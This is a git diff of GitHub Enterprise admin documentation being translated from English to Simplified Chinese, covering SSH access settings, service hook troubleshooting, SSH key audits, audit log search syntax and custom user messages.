@@ -36,10 +37,9 @@ shortTitle: Disable SSH for Git
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.admin-top-tab %}
 {% data reusables.enterprise_site_admin_settings.admin-tab %}
-1. Under "Git SSH access", use the drop-down menu, and click **Disabled**.
- ![Git SSH access drop-down menu with disabled option selected](/assets/images/enterprise/site-admin-settings/git-ssh-access-repository-setting.png)
+1. 在“Git SSH access”下，使用下拉菜单，然后单击 **Disabled**。 ![选择了禁用选项的 Git SSH access 下拉菜单](/assets/images/enterprise/site-admin-settings/git-ssh-access-repository-setting.png)
 
-## Disabling Git SSH access to all repositories owned by a user or organization
+## 禁止对用户或组织拥有的所有仓库进行 Git SSH 访问
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.search-user-or-org %}
@@ -47,10 +47,9 @@ shortTitle: Disable SSH for Git
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.admin-top-tab %}
 {% data reusables.enterprise_site_admin_settings.admin-tab %}
-7. Under "Git SSH access", use the drop-down menu, and click **Disabled**. Then, select **Enforce on all repositories**.
- ![Git SSH access drop-down menu with disabled option selected](/assets/images/enterprise/site-admin-settings/git-ssh-access-organization-setting.png)
+7. 在“Git SSH access”下，使用下拉菜单，然后单击 **Disabled**。 然后选择 **Enforce on all repositories**。 ![选择了禁用选项的 Git SSH access 下拉菜单](/assets/images/enterprise/site-admin-settings/git-ssh-access-organization-setting.png)
 
-## Disabling Git SSH access to all repositories in your enterprise
+## 禁止对企业中的所有仓库进行 Git SSH 访问
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% ifversion ghes or ghae %}
@@ -59,5 +58,4 @@ shortTitle: Disable SSH for Git
 {% data reusables.enterprise-accounts.settings-tab %}
 {% endif %}
 {% data reusables.enterprise-accounts.options-tab %}
-7. Under "Git SSH access", use the drop-down menu, and click **Disabled**. Then, select **Enforce on all repositories**.
- ![Git SSH access drop-down menu with disabled option selected](/assets/images/enterprise/site-admin-settings/git-ssh-access-appliance-setting.png)
+7. 在“Git SSH access”下，使用下拉菜单，然后单击 **Disabled**。 然后选择 **Enforce on all repositories**。 ![选择了禁用选项的 Git SSH access 下拉菜单](/assets/images/enterprise/site-admin-settings/git-ssh-access-appliance-setting.png)
diff --git a/translations/zh-CN/content/admin/user-management/managing-repositories-in-your-enterprise/troubleshooting-service-hooks.md b/translations/zh-CN/content/admin/user-management/managing-repositories-in-your-enterprise/troubleshooting-service-hooks.md
index 90b442a4b8..e6eec2dadd 100644
--- a/translations/zh-CN/content/admin/user-management/managing-repositories-in-your-enterprise/troubleshooting-service-hooks.md
+++ b/translations/zh-CN/content/admin/user-management/managing-repositories-in-your-enterprise/troubleshooting-service-hooks.md
@@ -1,6 +1,6 @@
 ---
-title: Troubleshooting service hooks
-intro: 'If payloads aren''t being delivered, check for these common problems.'
+title: 排查服务挂钩问题
+intro: 如果没有交付有效负载，请检查这些常见问题。
 redirect_from:
   - /enterprise/admin/articles/troubleshooting-service-hooks
   - /enterprise/admin/developer-workflow/troubleshooting-service-hooks
@@ -11,38 +11,33 @@ versions:
   ghae: '*'
 topics:
   - Enterprise
-shortTitle: Troubleshoot service hooks
+shortTitle: 服务挂钩疑难解答
 ---
-## Getting information on deliveries
 
-You can find information for the last response of all service hooks deliveries on any repository.
+## 获取有关交付的信息
+
+您可以在任意仓库中找到有关所有服务挂钩交付的最后响应的信息。
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
-2. Browse to the repository you're investigating.
-3. Click on the **Hooks** link in the navigation sidebar.
-  ![Hooks Sidebar](/assets/images/enterprise/settings/Enterprise-Hooks-Sidebar.png)
-4. Click on the **Latest Delivery** link under the service hook having problems.
-  ![Hook Details](/assets/images/enterprise/settings/Enterprise-Hooks-Details.png)
-5. Under **Remote Calls**, you'll see the headers that were used when POSTing to the remote server along with the response that the remote server sent back to your installation.
+2. 浏览到您要调查的仓库。
+3. 单击导航侧栏中的 **Hooks** 链接。 ![挂钩侧边栏](/assets/images/enterprise/settings/Enterprise-Hooks-Sidebar.png)
+4. 单击有问题的服务挂钩下的 **Latest Delivery** 链接。 ![挂钩详情](/assets/images/enterprise/settings/Enterprise-Hooks-Details.png)
+5. 在 **Remote Calls** 下，您将看到发布到远程服务器时使用的标头以及远程服务器发送回安装的响应。
 
-## Viewing the payload
+## 查看有效负载
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
-2. Browse to the repository you're investigating.
-3. Click on the **Hooks** link in the navigation sidebar.
-  ![Hooks Sidebar](/assets/images/enterprise/settings/Enterprise-Hooks-Sidebar.png)
-4. Click on the **Latest Delivery** link under the service hook having problems.
-5. Click **Delivery**.
-  ![Viewing the payload](/assets/images/enterprise/settings/Enterprise-Hooks-Payload.png)
+2. 浏览到您要调查的仓库。
+3. 单击导航侧栏中的 **Hooks** 链接。 ![挂钩侧边栏](/assets/images/enterprise/settings/Enterprise-Hooks-Sidebar.png)
+4. 单击有问题的服务挂钩下的 **Latest Delivery** 链接。
+5. 单击 **Delivery（交付）**。 ![查看有效负载](/assets/images/enterprise/settings/Enterprise-Hooks-Payload.png)
 
-## Viewing past deliveries
+## 查看过去的交付
 
-Deliveries are stored for 15 days.
+交付存储 15 天。
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
-2. Browse to the repository you're investigating.
-3. Click on the **Hooks** link in the navigation sidebar.
-  ![Hooks Sidebar](/assets/images/enterprise/settings/Enterprise-Hooks-Sidebar.png)
-4. Click on the **Latest Delivery** link under the service hook having problems.
-5. To view other deliveries to that specific hook, click **More for this Hook ID**:
-  ![Viewing more deliveries](/assets/images/enterprise/settings/Enterprise-Hooks-More-Deliveries.png)
+2. 浏览到您要调查的仓库。
+3. 单击导航侧栏中的 **Hooks** 链接。 ![挂钩侧边栏](/assets/images/enterprise/settings/Enterprise-Hooks-Sidebar.png)
+4. 单击有问题的服务挂钩下的 **Latest Delivery** 链接。
+5. 要查看针对该特定挂钩的其他交付，请单击 **More for this Hook ID**： ![查看更多交付](/assets/images/enterprise/settings/Enterprise-Hooks-More-Deliveries.png)
diff --git a/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/auditing-ssh-keys.md b/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/auditing-ssh-keys.md
index b7fb055a49..929f845520 100644
--- a/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/auditing-ssh-keys.md
+++ b/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/auditing-ssh-keys.md
@@ -1,6 +1,6 @@
 ---
-title: Auditing SSH keys
-intro: Site administrators can initiate an instance-wide audit of SSH keys.
+title: 审核 SSH 密钥
+intro: 站点管理员可以发起 SSH 密钥的实例级审核。
 redirect_from:
   - /enterprise/admin/articles/auditing-ssh-keys
   - /enterprise/admin/user-management/auditing-ssh-keys
@@ -15,23 +15,24 @@ topics:
   - Security
   - SSH
 ---
-Once initiated, the audit disables all existing SSH keys and forces users to approve or reject them before they're able to clone, pull, or push to any repositories. An audit is useful in situations where an employee or contractor leaves the company and you need to ensure that all keys are verified.
 
-## Initiating an audit
+发起后，审计会禁用所有现有的 SSH 密钥并强制用户批准或拒绝它们，然后他们才能克隆、拉取任意仓库或推送至仓库。 审核在员工或合同工离开公司时十分有用，您需要确保所有密钥均已验证。
 
-You can initiate an SSH key audit from the "All users" tab of the site admin dashboard:
+## 发起审核
 
-![Starting a public key audit](/assets/images/enterprise/security/Enterprise-Start-Key-Audit.png)
+您可以在站点管理员仪表板的“All users”选项卡中发起 SSH 密钥审核：
 
-After you click the "Start public key audit" button, you'll be taken to a confirmation screen explaining what will happen next:
+![启动公钥审核](/assets/images/enterprise/security/Enterprise-Start-Key-Audit.png)
 
-![Confirming the audit](/assets/images/enterprise/security/Enterprise-Begin-Audit.png)
+单击“Start public key audit”按钮后，您将转到确认屏幕，此屏幕会向您解释接下来要发生的情况：
 
-After you click the "Begin audit" button, all SSH keys are invalidated and will require approval. You'll see a notification indicating the audit has begun.
+![确认审核](/assets/images/enterprise/security/Enterprise-Begin-Audit.png)
 
-## What users see
+单击“Begin audit”按钮后，所有 SSH 密钥将失效，并需要批准。 您会看到一个指示审核已开始的通知。
 
-If a user attempts to perform any git operation over SSH, it will fail and provide them with the following message:
+## 用户看到的内容
+
+如果用户通过 SSH 执行任何 git 操作，它会失败，用户将看到以下消息：
 
 ```shell
 ERROR: Hi <em>username</em>. We're doing an SSH key audit.
@@ -41,25 +42,25 @@ Fingerprint: ed:21:60:64:c0:dc:2b:16:0f:54:5f:2b:35:2a:94:91
 fatal: The remote end hung up unexpectedly
 ```
 
-When they follow the link, they're asked to approve the keys on their account:
+在用户单击链接后，他们会被要求在帐户上批准密钥：
 
-![Auditing keys](/assets/images/enterprise/security/Enterprise-Audit-SSH-Keys.jpg)
+![审核密钥](/assets/images/enterprise/security/Enterprise-Audit-SSH-Keys.jpg)
 
-After they approve or reject their keys, they'll be able interact with repositories as usual.
+在用户批准或拒绝密钥后，他们将能够像以往一样与仓库进行交互。
 
-## Adding an SSH key
+## 添加 SSH 密钥
 
-New users will be prompted for their password when adding an SSH key:
+新用户在添加 SSH 密钥时将会收到需要输入密码的提示：
 
-![Password confirmation](/assets/images/help/settings/sudo_mode_popup.png)
+![密码确认](/assets/images/help/settings/sudo_mode_popup.png)
 
-When a user adds a key, they'll receive a notification email that will look something like this:
+在用户添加密钥时，他们会收到如下所示的通知电子邮件：
 
     The following SSH key was added to your account:
-
+    
     [title]
     ed:21:60:64:c0:dc:2b:16:0f:54:5f:2b:35:2a:94:91
-
+    
     If you believe this key was added in error, you can remove the key and disable access at the following location:
-
+    
     http(s)://HOSTNAME/settings/ssh
diff --git a/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/auditing-users-across-your-enterprise.md b/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/auditing-users-across-your-enterprise.md
index b73c09ee99..0cfe2759a3 100644
--- a/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/auditing-users-across-your-enterprise.md
+++ b/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/auditing-users-across-your-enterprise.md
@@ -1,6 +1,6 @@
 ---
-title: Auditing users across your enterprise
-intro: 'The audit log dashboard shows site administrators the actions performed by all users and organizations across your enterprise within the current month and previous six months. The audit log includes details such as who performed the action, what the action was, and when the action was performed.'
+title: 审核整个企业的用户
+intro: The audit log dashboard shows site administrators the actions performed by all users and organizations across your enterprise within the current month and previous six months. 审核日志包含操作执行人、操作内容和执行时间等详细信息。
 redirect_from:
   - /enterprise/admin/guides/user-management/auditing-users-across-an-organization
   - /enterprise/admin/user-management/auditing-users-across-your-instance
@@ -16,104 +16,105 @@ topics:
   - Organizations
   - Security
   - User account
-shortTitle: Audit users
+shortTitle: 审计用户
 ---
-## Accessing the audit log
 
-The audit log dashboard gives you a visual display of audit data across your enterprise.
+## 访问审核日志
 
-![Instance wide audit log dashboard](/assets/images/enterprise/site-admin-settings/audit-log-dashboard-admin-center.png)
+审核日志仪表板让您能够直观地看到企业中的审计数据。
+
+![实例级审核日志仪表板](/assets/images/enterprise/site-admin-settings/audit-log-dashboard-admin-center.png)
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.audit-log-tab %}
 
-Within the map, you can pan and zoom to see events around the world. Hover over a country to see a quick count of events from that country.
+在地图中，您可以平移和缩放来查看世界范围内的事件。 将鼠标悬停在国家/地区上，可以看到该国家/地区内事件的快速盘点。
 
-## Searching for events across your enterprise
+## 在企业中搜索事件
 
-The audit log lists the following information about actions made within your enterprise:
+审核日志列出了有关企业内所执行操作的以下信息：
 
-* [The repository](#search-based-on-the-repository) an action was performed in
-* [The user](#search-based-on-the-user) who performed the action
-* [Which organization](#search-based-on-the-organization) an action pertained to
-* [The action](#search-based-on-the-action-performed) that was performed
-* [Which country](#search-based-on-the-location) the action took place in
-* [The date and time](#search-based-on-the-time-of-action) the action occurred
+* 操作发生的[仓库](#search-based-on-the-repository)
+* 执行操作的[用户](#search-based-on-the-user)
+* 操作所属的[组织](#search-based-on-the-organization)
+* 执行的[操作](#search-based-on-the-action-performed)
+* 操作发生的[国家/地区](#search-based-on-the-location)
+* 操作发生的[日期和时间](#search-based-on-the-time-of-action)
 
 {% warning %}
 
-**Notes:**
+**注意：**
 
-- While you can't use text to search for audit entries, you can construct search queries using a variety of filters. {% data variables.product.product_name %} supports many operators for searching across {% data variables.product.product_name %}. For more information, see "[About searching on {% data variables.product.prodname_dotcom %}](/github/searching-for-information-on-github/about-searching-on-github)."
+- 您无法使用文本搜索审核条目，但您可以使用多个筛选器构建搜索查询。 {% data variables.product.product_name %} 支持在 {% data variables.product.product_name %} 中使用多种运算符进行搜索。 更多信息请参阅“[关于在 {% data variables.product.prodname_dotcom %} 上搜索](/github/searching-for-information-on-github/about-searching-on-github)”。
 - Audit records are available for the current month and every day of the previous six months.
 
 {% endwarning %}
 
-### Search based on the repository
+### 基于仓库搜索
 
-The `repo` qualifier limits actions to a specific repository owned by your organization. For example:
+`repo` 限定符可将操作限定为您的组织拥有的特定仓库。 例如：
 
-* `repo:my-org/our-repo` finds all events that occurred for the `our-repo` repository in the `my-org` organization.
-* `repo:my-org/our-repo repo:my-org/another-repo` finds all events that occurred for both the `our-repo` and `another-repo` repositories in the `my-org` organization.
-* `-repo:my-org/not-this-repo` excludes all events that occurred for the `not-this-repo` repository in the `my-org` organization.
+* `repo:my-org/our-repo` 会找到在 `my-org` 组织的 `our-repo` 仓库中发生的所有事件。
+* `repo:my-org/our-repo repo:my-org/another-repo` 会找到在 `my-org` 组织的 `our-repo` 和 `another-repo` 仓库中发生的所有事件。
+* `-repo:my-org/not-this-repo` 会排除在 `my-org` 组织的 `not-this-repo` 仓库中发生的所有事件。
 
-You must include your organization's name within the `repo` qualifier; searching for just `repo:our-repo` will not work.
+您必须在 `repo` 限定符中包含组织的名称，仅搜索 `repo:our-repo` 将不起作用。
 
-### Search based on the user
+### 基于用户搜索
 
-The `actor` qualifier scopes events based on the member of your organization that performed the action. For example:
+`actor` 限定符会将事件限定为执行操作的组织成员。 例如：
 
-* `actor:octocat` finds all events performed by `octocat`.
-* `actor:octocat actor:hubot` finds all events performed by both `octocat` and `hubot`.
-* `-actor:hubot` excludes all events performed by `hubot`.
+* `actor:octocat` 会找到 `octocat` 执行的所有事件。
+* `actor:octocat actor:hubot` 会找到 `octocat` 和 `hubot` 执行的所有事件。
+* `-actor:hubot` 会排除 `hubot` 执行的所有事件。
 
-You can only use a {% data variables.product.product_name %} username, not an individual's real name.
+您可以仅使用 {% data variables.product.product_name %} 用户名，而不是个人的真实姓名。
 
-### Search based on the organization
+### 基于组织搜索
 
-The `org` qualifier limits actions to a specific organization. For example:
+`org` 限定符可将操作限定为特定组织。 例如：
 
-* `org:my-org` finds all events that occurred for the `my-org` organization.
-* `org:my-org action:team` finds all team events performed within the `my-org` organization.
-* `-org:my-org` excludes all events that occurred for the `my-org` organization.
+* `org:my-org` 会找到 `my-org` 组织发生的所有事件。
+* `org:my-org action:team` 会找到在 `my-org` 组织中执行的所有团队事件。
+* `-org:my-org` 会排除 `my-org` 组织发生的所有事件。
 
-### Search based on the action performed
+### 基于执行的操作搜索
 
-The `action` qualifier searches for specific events, grouped within categories. For information on the events associated with these categories, see "[Audited actions](/admin/user-management/audited-actions)".
+`action` 限定符可搜索特定事件（按类别组织）。 有关与这些类别相关的事件的信息，请参阅“[审核的操作](/admin/user-management/audited-actions)”。
 
-| Category name | Description
-|------------------|-------------------
-| `hook` | Contains all activities related to webhooks.
-| `org` | Contains all activities related organization membership
-| `repo` | Contains all activities related to the repositories owned by your organization.
-| `team` | Contains all activities related to teams in your organization.
+| 类别名称   | 描述                   |
+| ------ | -------------------- |
+| `挂钩`   | 包含与 web 挂钩相关的所有活动。   |
+| `org`  | 包含与组织成员资格相关的所有活动     |
+| `repo` | 包含与您的组织拥有的仓库相关的所有活动。 |
+| `团队`   | 包含与您的组织中的团队相关的所有活动。  |
 
-You can search for specific sets of actions using these terms. For example:
+您可以使用这些词搜索特定的操作集。 例如：
 
-* `action:team` finds all events grouped within the team category.
-* `-action:billing` excludes all events in the billing category.
+* `action:team` 会找到团队类别中的所有事件。
+* `-action:billing` 会排除帐单类别中的所有事件。
 
-Each category has a set of associated events that you can filter on. For example:
+每个类别都有一组可进行过滤的关联事件。 例如：
 
-* `action:team.create` finds all events where a team was created.
-* `-action:billing.change_email` excludes all events where the billing email was changed.
+* `action:team.create` 会找到团队创建处的所有事件。
+* `-action:billing.change_email` 会排除帐单邮箱更改处的所有事件。
 
-### Search based on the location
+### 基于位置搜索
 
-The `country` qualifier filters actions by the originating country.
-- You can use a country's two-letter short code or its full name.
-- Countries with spaces in their name must be wrapped in quotation marks. For example:
-  * `country:de` finds all events that occurred in Germany.
-  * `country:Mexico` finds all events that occurred in Mexico.
-  * `country:"United States"` all finds events that occurred in the United States.
+`country` 限定符可根据来源国家/地区筛选操作。
+- 您可以使用国家/地区的两字母短代码或完整名称。
+- 名称中包含空格的国家/地区必须用引号引起。 例如：
+  * `country:de` 会找到在德国发生的所有事件。
+  * `country:Mexico` 会找到在墨西哥发生的所有事件。
+  * `country:"United States"` 会找到在美国发生的所有事件。
 
-### Search based on the time of action
+### 基于操作时间搜索
 
-The `created` qualifier filters actions by the time they occurred.
-- Define dates using the format of `YYYY-MM-DD`--that's year, followed by month, followed by day.
-- Dates support [greater than, less than, and range qualifiers](/enterprise/{{ currentVersion }}/user/articles/search-syntax). For example:
-  * `created:2014-07-08` finds all events that occurred on July 8th, 2014.
-  * `created:>=2014-07-01` finds all events that occurred on or after July 8th, 2014.
-  * `created:<=2014-07-01` finds all events that occurred on or before July 8th, 2014.
-  * `created:2014-07-01..2014-07-31` finds all events that occurred in the month of July 2014.
+`created` 限定符可根据事件发生的时间筛选操作。
+- 使用 `YYYY-MM-DD` 格式定义日期，即年后面是月份，之后是具体日期。
+- 日期支持[大于、小于和范围限定符](/enterprise/{{ currentVersion }}/user/articles/search-syntax)。 例如：
+  * `created:2014-07-08` 会找到在 2014 年 7 月 8 日发生的所有事件。
+  * `created:>=2014-07-01` 会找到在 2014 年 7 月 8 日或之后发生的所有事件。
+  * `created:<=2014-07-01` 会找到在 2014 年 7 月 8 日或之前发生的所有事件。
+  * `created:2014-07-01..2014-07-31` 会找到在 2014 年 7 月发生的所有事件。
diff --git a/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise.md b/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise.md
index f6396f94cc..9614cfa9b6 100644
--- a/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise.md
+++ b/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise.md
@@ -1,12 +1,12 @@
 ---
-title: Customizing user messages for your enterprise
-shortTitle: Customizing user messages
+title: 自定义企业的用户消息
+shortTitle: 自定义用户消息
 redirect_from:
   - /enterprise/admin/user-management/creating-a-custom-sign-in-message
   - /enterprise/admin/user-management/customizing-user-messages-on-your-instance
   - /admin/user-management/customizing-user-messages-on-your-instance
   - /admin/user-management/customizing-user-messages-for-your-enterprise
-intro: 'You can create custom messages that users will see on {% data variables.product.product_location %}.'
+intro: '您可以创建用户将在 {% data variables.product.product_location %} 上看到的自定义消息。'
 versions:
   ghes: '*'
   ghae: '*'
@@ -15,108 +15,98 @@ topics:
   - Enterprise
   - Maintenance
 ---
-## About user messages
 
-There are several types of user messages.
-- Messages that appear on the {% ifversion ghes %}sign in or {% endif %}sign out page{% ifversion ghes or ghae %}
-- Mandatory messages, which appear once in a pop-up window that must be dismissed{% endif %}{% ifversion ghes or ghae %}
-- Announcement banners, which appear at the top of every page{% endif %}
+## 关于用户消息
+
+有几种类型的用户消息。
+- 出现在{% ifversion ghes %}登录或{% endif %}登出页面上的消息{% ifversion ghes or ghae %}
+- 必须忽略在弹出窗口中出现一次的强制性消息{% endif %}{% ifversion ghes or ghae %}
+- 公告横幅，出现在每个页面的顶部{% endif %}
 
 {% ifversion ghes %}
 {% note %}
 
-**Note:** If you are using SAML for authentication, the sign in page is presented by your identity provider and is not customizable via {% data variables.product.prodname_ghe_server %}.
+**注**：如果您使用 SAML 进行身份验证，登录页面将由您的身份提供程序呈现，无法通过 {% data variables.product.prodname_ghe_server %} 进行自定义。
 
 {% endnote %}
 
-You can use Markdown to format your message. For more information, see "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/articles/about-writing-and-formatting-on-github/)."
+您可以使用 Markdown 格式化消息。 更多信息请参阅“[关于 {% data variables.product.prodname_dotcom %} 上的书写和格式化](/articles/about-writing-and-formatting-on-github/)”。
 
-## Creating a custom sign in message
+## 创建自定义登录消息
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.messages-tab %}
-5. {% ifversion ghes %}To the right of{% else %}Under{% endif %} "Sign in page", click **Add message** or **Edit message**.
-![{% ifversion ghes %}Add{% else %}Edit{% endif %} message button](/assets/images/enterprise/site-admin-settings/edit-message.png)
-6. Under **Sign in message**, type the message you'd like users to see.
-![Sign in message](/assets/images/enterprise/site-admin-settings/sign-in-message.png){% ifversion ghes %}
+5. {% ifversion ghes %}在“Sign in page（登录页面）”的右侧{% else %}下面{% endif %}，单击 **Add message（添加消息）**或 **Edit message（编辑消息）**。 ![{% ifversion ghes %}添加{% else %}编辑{% endif %}消息按钮](/assets/images/enterprise/site-admin-settings/edit-message.png)
+6. 在 **Sign in message** 下，输入您想要用户看到的消息。 ![Sign in message](/assets/images/enterprise/site-admin-settings/sign-in-message.png){% ifversion ghes %}
 {% data reusables.enterprise_site_admin_settings.message-preview-save %}{% else %}
 {% data reusables.enterprise_site_admin_settings.click-preview %}
-  ![Preview button](/assets/images/enterprise/site-admin-settings/sign-in-message-preview-button.png)
-8. Review the rendered message.
-![Sign in message rendered](/assets/images/enterprise/site-admin-settings/sign-in-message-rendered.png)
+  ![Preview 按钮](/assets/images/enterprise/site-admin-settings/sign-in-message-preview-button.png)
+8. 预览呈现的消息。 ![呈现的登录消息](/assets/images/enterprise/site-admin-settings/sign-in-message-rendered.png)
 {% data reusables.enterprise_site_admin_settings.save-changes %}{% endif %}
 {% endif %}
 
-## Creating a custom sign out message
+## 创建自定义退出消息
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.messages-tab %}
-5. {% ifversion ghes or ghae %}To the right of{% else %}Under{% endif %} "Sign out page", click **Add message** or **Edit message**.
-![Add message button](/assets/images/enterprise/site-admin-settings/sign-out-add-message-button.png)
-6. Under **Sign out message**, type the message you'd like users to see.
-![Sign two_factor_auth_header message](/assets/images/enterprise/site-admin-settings/sign-out-message.png){% ifversion ghes or ghae %}
+5. {% ifversion ghes or ghae %}在“Sign out page（登出页面）”的右侧{% else %}下面{% endif %}，单击 **Add message（添加消息）**或 **Edit message（编辑消息）**。 ![Add message 按钮](/assets/images/enterprise/site-admin-settings/sign-out-add-message-button.png)
+6. 在 **Sign out message** 下，输入您想要用户看到的消息。 ![Sign two_factor_auth_header message](/assets/images/enterprise/site-admin-settings/sign-out-message.png){% ifversion ghes or ghae %}
 {% data reusables.enterprise_site_admin_settings.message-preview-save %}{% else %}
 {% data reusables.enterprise_site_admin_settings.click-preview %}
-  ![Preview button](/assets/images/enterprise/site-admin-settings/sign-out-message-preview-button.png)
-8. Review the rendered message.
-![Sign out message rendered](/assets/images/enterprise/site-admin-settings/sign-out-message-rendered.png)
+  ![Preview 按钮](/assets/images/enterprise/site-admin-settings/sign-out-message-preview-button.png)
+8. 预览呈现的消息。 ![呈现的注销消息](/assets/images/enterprise/site-admin-settings/sign-out-message-rendered.png)
 {% data reusables.enterprise_site_admin_settings.save-changes %}{% endif %}
 
 {% ifversion ghes or ghae %}
-## Creating a mandatory message
+## 创建必读消息
 
-You can create a mandatory message that {% data variables.product.product_name %} will show to all users the first time they sign in after you save the message. The message appears in a pop-up window that the user must dismiss before the user can use {% data variables.product.product_location %}.
+您可以创建必读消息，保存后，{% data variables.product.product_name %} 将在所有用户首次登录时显示该消息。 该消息出现在弹出窗口中，用户必须忽略后才能使用 {% data variables.product.product_location %}。
 
-Mandatory messages have a variety of uses.
+必读消息有多种用途。
 
-- Providing onboarding information for new employees
-- Telling users how to get help with {% data variables.product.product_location %}
-- Ensuring that all users read your terms of service for using {% data variables.product.product_location %}
+- 为新员工提供入职信息
+- 告诉用户如何获得 {% data variables.product.product_location %} 帮助
+- 确保所有用户阅读有关使用 {% data variables.product.product_location %} 的服务条款
 
-If you include Markdown checkboxes in the message, all checkboxes must be selected before the user can dismiss the message. For example, if you include your terms of service in the mandatory message, you can require that each user selects a checkbox to confirm the user has read the terms.
+如果消息中包含 Markdown 复选框，则用户必须选中所有复选框才能忽略消息。 例如，如果您在必读消息中包含服务条款，您可以要求每个用户选中复选框以确认他们阅读了这些条款。
 
-Each time a user sees a mandatory message, an audit log event is created. The event includes the version of the message that the user saw. For more information see "[Audited actions](/admin/user-management/audited-actions)."
+每次用户看到必读消息时，都会创建审核日志事件。 该事件包括用户看到的消息的版本。 更多信息请参阅“[已审核操作](/admin/user-management/audited-actions)”。
 
 {% note %}
 
-**Note:** If you change the mandatory message for {% data variables.product.product_location %}, users who have already acknowledged the message will not see the new message.
+**注意：**如果您更改了 {% data variables.product.product_location %} 的强制消息，已经确认该消息的用户将不会看到新消息。
 
 {% endnote %}
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.messages-tab %}
-1. To the right of "Mandatory message", click **Add message**.
-  ![Add mandatory message button](/assets/images/enterprise/site-admin-settings/add-mandatory-message-button.png)
-1. Under "Mandatory message", in the text box, type your message.
-  ![Mandatory message text box](/assets/images/enterprise/site-admin-settings/mandatory-message-text-box.png)
+1. 在“Mandatory message（必读消息）”的右侧，单击 **Add message（添加消息）**。 ![添加强制性消息按钮](/assets/images/enterprise/site-admin-settings/add-mandatory-message-button.png)
+1. 在“Mandatory message（必读消息）”下面的文本框中输入消息。 ![强制性消息文本框](/assets/images/enterprise/site-admin-settings/mandatory-message-text-box.png)
 {% data reusables.enterprise_site_admin_settings.message-preview-save %}
 
 {% endif %}
 
 {% ifversion ghes or ghae %}
-## Creating a global announcement banner
+## 创建全局公告横幅
 
-You can set a global announcement banner to be displayed to all users at the top of every page.
+您可以设置全局公告横幅，以便在每个页面顶部向所有用户显示。
 
 {% ifversion ghae or ghes %}
-You can also set an announcement banner{% ifversion ghes %} in the administrative shell using a command line utility or{% endif %} using the API. For more information, see {% ifversion ghes %}"[Command-line utilities](/enterprise/admin/configuration/command-line-utilities#ghe-announce)" and {% endif %}"[{% data variables.product.prodname_enterprise %} administration](/rest/reference/enterprise-admin#announcements)."
+您也可以{% ifversion ghes %} 使用命令行实用工具或{% endif %} 使用 API 在管理 shell 中设置公告横幅。 更多信息请参阅 {% ifversion ghes %}“[命令行实用工具](/enterprise/admin/configuration/command-line-utilities#ghe-announce)”和 {% endif %}“[{% data variables.product.prodname_enterprise %} 管理](/rest/reference/enterprise-admin#announcements)”。
 {% else %}
 
-You can also set an announcement banner in the administrative shell using a command line utility. For more information, see "[Command-line utilities](/enterprise/admin/configuration/command-line-utilities#ghe-announce)."
+您还可以使用命令行工具在管理 shell 中设置公告横幅。 更多信息请参阅“[命令行实用程序](/enterprise/admin/configuration/command-line-utilities#ghe-announce)”。
 
 {% endif %}
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.messages-tab %}
-1. {% ifversion ghes or ghae %}To the right of{% else %}Under{% endif %} "Announcement", click **Add announcement**.
-  ![Add announcement button](/assets/images/enterprise/site-admin-settings/add-announcement-button.png)
-1. Under "Announcement", in the text field, type the announcement you want displayed in a banner.
-  ![Text field to enter announcement](/assets/images/enterprise/site-admin-settings/announcement-text-field.png)
-1. Optionally, under "Expires on", select the calendar drop-down menu and click an expiration date.
-  ![Calendar drop-down menu to choose expiration date](/assets/images/enterprise/site-admin-settings/expiration-drop-down.png)
+1. {% ifversion ghes or ghae %}在“Announcement（公告）”的右侧{% else %}下面{% endif %}，单击 **Add announcement（添加公告）**。 ![Add message 按钮](/assets/images/enterprise/site-admin-settings/add-announcement-button.png)
+1. 在“Announcement（公告）”下的在文本字段中键入要显示在横幅中的公告。 ![用于输入公告的文本字段](/assets/images/enterprise/site-admin-settings/announcement-text-field.png)
+1. （可选）在“Expires on（到期日）”下，选择日历下拉菜单并单击一个到期日。 ![用于选择到期日期的日历下拉菜单](/assets/images/enterprise/site-admin-settings/expiration-drop-down.png)
 {% data reusables.enterprise_site_admin_settings.message-preview-save %}
 {% endif %}
diff --git a/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/index.md b/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/index.md
index 4b8443a834..bcf8b3dfd2 100644
--- a/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/index.md
+++ b/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing users in your enterprise
-intro: You can audit user activity and manage user settings.
+title: 管理企业中的用户
+intro: 您可以审核用户活动并管理用户设置。
 redirect_from:
